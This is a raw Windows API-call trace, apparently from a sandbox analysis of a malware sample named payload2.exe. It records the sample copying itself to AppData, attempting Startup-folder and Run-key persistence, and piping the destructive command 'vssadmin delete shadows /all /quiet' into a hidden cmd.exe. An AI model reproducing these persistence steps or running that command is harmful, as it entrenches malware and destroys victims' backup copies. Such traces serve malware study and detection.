	[0163.449] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.449] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.449] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.449] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d9a0 | out: hHeap=0x610000) returned 1
	[0163.449] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.449] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db58 | out: hHeap=0x610000) returned 1
	[0163.449] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x249e020 | out: hHeap=0x610000) returned 1
	[0163.452] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x676e10
	[0163.453] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x686e18
	[0163.453] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652920
	[0163.453] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652920, Size=0x20) returned 0x64db58
	[0163.453] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db58, Size=0x40) returned 0x627518
	[0163.453] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627518, Size=0x80) returned 0x655d30
	[0163.453] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655d30, Size=0x100) returned 0x6539b8
	[0163.453] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.453] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6539b8 | out: hHeap=0x610000) returned 1
	[0163.453] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\payload2.exe", lpDst=0x676e10, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe") returned 0x2d
	[0163.453] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x686e18 | out: hHeap=0x610000) returned 1
	[0163.453] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x676e10 | out: hHeap=0x610000) returned 1
	[0163.454] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x249d020
	[0163.458] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a10
	[0163.458] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a10, Size=0x20) returned 0x64db58
	[0163.458] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652aa0
	[0163.458] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652aa0, Size=0x20) returned 0x64db80
	[0163.458] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.458] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.458] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.458] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db58 | out: hHeap=0x610000) returned 1
	[0163.458] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db80 | out: hHeap=0x610000) returned 1
	[0163.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0163.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0163.464] ReadFile (in: hFile=0x240, lpBuffer=0x249d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x249d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0163.505] WriteFile (in: hFile=0x244, lpBuffer=0x249d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x249d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0163.508] ReadFile (in: hFile=0x240, lpBuffer=0x249d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x249d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0163.508] CloseHandle (hObject=0x244) returned 1
	[0163.509] CloseHandle (hObject=0x240) returned 1
	[0163.509] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b78
	[0163.509] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b78, Size=0x20) returned 0x64da18
	[0163.509] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b90
	[0163.509] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b90, Size=0x20) returned 0x64da90
	[0163.509] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.509] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.509] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.509] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da90 | out: hHeap=0x610000) returned 1
	[0163.509] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0163.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x249d020 | out: hHeap=0x610000) returned 1
	[0163.516] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a70
	[0163.516] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a70, Size=0x20) returned 0x64db58
	[0163.516] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db58, Size=0x40) returned 0x627830
	[0163.516] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627830, Size=0x80) returned 0x655a00
	[0163.516] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe") returned 44
	[0163.516] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0163.516] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x5c) returned 0x652800
	[0163.516] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0163.517] RegSetValueExW (hKey=0x240, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData=0x656e00, cbData=0x58) returned 0x5
	[0163.517] RegCloseKey (hKey=0x240) returned 0x0
	[0163.517] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x652800 | out: hHeap=0x610000) returned 1
	[0163.517] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe") returned 44
	[0163.517] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0163.517] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x5c) returned 0x652800
	[0163.517] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0
	[0163.518] RegSetValueExW (in: hKey=0x244, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe", cbData=0x58 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\payload2.exe") returned 0x0
	[0163.519] RegCloseKey (hKey=0x244) returned 0x0
	[0163.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x652800 | out: hHeap=0x610000) returned 1
	[0163.519] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0163.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655a00 | out: hHeap=0x610000) returned 1
	[0163.519] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x676e10
	[0163.519] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x686e18
	[0163.520] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528d8
	[0163.520] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528d8, Size=0x20) returned 0x64db80
	[0163.520] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db80, Size=0x40) returned 0x627758
	[0163.520] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627758, Size=0x80) returned 0x655c20
	[0163.520] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655c20, Size=0x100) returned 0x6539b8
	[0163.520] lstrlenW (lpString="") returned 0
	[0163.520] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.520] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8c) returned 0x6530b8
	[0163.520] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0163.520] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x686e18, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x686e18*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0163.520] RegCloseKey (hKey=0x244) returned 0x0
	[0163.520] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6530b8 | out: hHeap=0x610000) returned 1
	[0163.520] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.520] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8c) returned 0x6530b8
	[0163.520] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0163.520] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x686e18, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0163.520] RegCloseKey (hKey=0x244) returned 0x0
	[0163.520] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6530b8 | out: hHeap=0x610000) returned 1
	[0163.520] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0163.520] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6539b8 | out: hHeap=0x610000) returned 1
	[0163.521] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x676e10, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x5b
	[0163.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x686e18 | out: hHeap=0x610000) returned 1
	[0163.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x676e10 | out: hHeap=0x610000) returned 1
	[0163.522] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x249c020
	[0163.525] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652ae8
	[0163.525] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ae8, Size=0x20) returned 0x64da18
	[0163.525] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a40
	[0163.525] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a40, Size=0x20) returned 0x64da68
	[0163.526] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.526] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.526] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.526] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.526] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0163.526] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.526] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da68 | out: hHeap=0x610000) returned 1
	[0163.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0163.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.526] CloseHandle (hObject=0x244) returned 1
	[0163.526] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652980
	[0163.527] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652980, Size=0x20) returned 0x64d9a0
	[0163.527] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b18
	[0163.527] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b18, Size=0x20) returned 0x64db58
	[0163.527] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.527] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.527] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.527] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db58 | out: hHeap=0x610000) returned 1
	[0163.527] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d9a0 | out: hHeap=0x610000) returned 1
	[0163.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x249c020 | out: hHeap=0x610000) returned 1
	[0163.548] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x676e10
	[0163.548] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x686e18
	[0163.549] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b60
	[0163.549] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b60, Size=0x20) returned 0x64da18
	[0163.549] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da18, Size=0x40) returned 0x627b00
	[0163.549] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627b00, Size=0x80) returned 0x655d30
	[0163.549] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655d30, Size=0x100) returned 0x6539b8
	[0163.549] lstrlenW (lpString="") returned 0
	[0163.549] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.549] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8c) returned 0x6530b8
	[0163.549] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0163.549] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x686e18, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0163.549] RegCloseKey (hKey=0x244) returned 0x0
	[0163.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6530b8 | out: hHeap=0x610000) returned 1
	[0163.549] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0163.549] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6539b8 | out: hHeap=0x610000) returned 1
	[0163.549] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x676e10, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x4a
	[0163.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x686e18 | out: hHeap=0x610000) returned 1
	[0163.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x676e10 | out: hHeap=0x610000) returned 1
	[0163.551] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x249d020
	[0163.554] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652ad0
	[0163.554] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ad0, Size=0x20) returned 0x64da18
	[0163.554] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528d8
	[0163.554] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528d8, Size=0x20) returned 0x64db58
	[0163.554] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.554] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.554] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.554] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0163.554] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db58 | out: hHeap=0x610000) returned 1
	[0163.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0163.555] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.555] CloseHandle (hObject=0x244) returned 1
	[0163.555] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652ae8
	[0163.555] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ae8, Size=0x20) returned 0x64d9a0
	[0163.555] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528c0
	[0163.555] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528c0, Size=0x20) returned 0x64dbd0
	[0163.555] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.555] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.556] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0163.556] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dbd0 | out: hHeap=0x610000) returned 1
	[0163.556] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d9a0 | out: hHeap=0x610000) returned 1
	[0163.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x249d020 | out: hHeap=0x610000) returned 1
	[0163.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656e00 | out: hHeap=0x610000) returned 1
	[0163.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x666e08 | out: hHeap=0x610000) returned 1
	[0163.561] lstrlenW (lpString="%windir%\\System32") returned 17
	[0163.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627638 | out: hHeap=0x610000) returned 1
	[0163.561] lstrlenW (lpString="%appdata%") returned 9
	[0163.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db30 | out: hHeap=0x610000) returned 1
	[0163.561] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0163.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dba8 | out: hHeap=0x610000) returned 1
	[0163.561] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0163.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627710 | out: hHeap=0x610000) returned 1
	[0163.561] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a28
	[0163.561] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a28, Size=0x20) returned 0x64dab8
	[0163.561] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dab8, Size=0x40) returned 0x627a28
	[0163.561] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627a28, Size=0x80) returned 0x655208
	[0163.561] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528d8
	[0163.561] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528d8, Size=0x20) returned 0x64db80
	[0163.561] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1fffc) returned 0x656e00
	[0163.562] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x676e08
	[0163.562] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x686e10
	[0163.563] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528c0
	[0163.563] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528c0, Size=0x20) returned 0x64db30
	[0163.563] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db30, Size=0x40) returned 0x627878
	[0163.563] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627878, Size=0x80) returned 0x655b10
	[0163.563] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655b10, Size=0x100) returned 0x6539b8
	[0163.563] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6539b8 | out: hHeap=0x610000) returned 1
	[0163.563] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x676e08, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0163.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x686e10 | out: hHeap=0x610000) returned 1
	[0163.563] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x676e08 | out: hHeap=0x610000) returned 1
	[0163.564] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0163.568] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0163.568] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0163.570] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0163.570] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd8c, dwThreadId=0xd90)) returned 1
	[0163.673] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0163.673] WriteFile (in: hFile=0x24c, lpBuffer=0x655208*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x655208*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0163.673] CloseHandle (hObject=0x25c) returned 1
	[0163.673] CloseHandle (hObject=0x258) returned 1
	[0163.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656e00 | out: hHeap=0x610000) returned 1
	[0163.673] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0163.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655208 | out: hHeap=0x610000) returned 1
	[0163.673] lstrlenW (lpString="%comspec%") returned 9
	[0163.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db80 | out: hHeap=0x610000) returned 1
	[0163.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0163.674] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6529f8
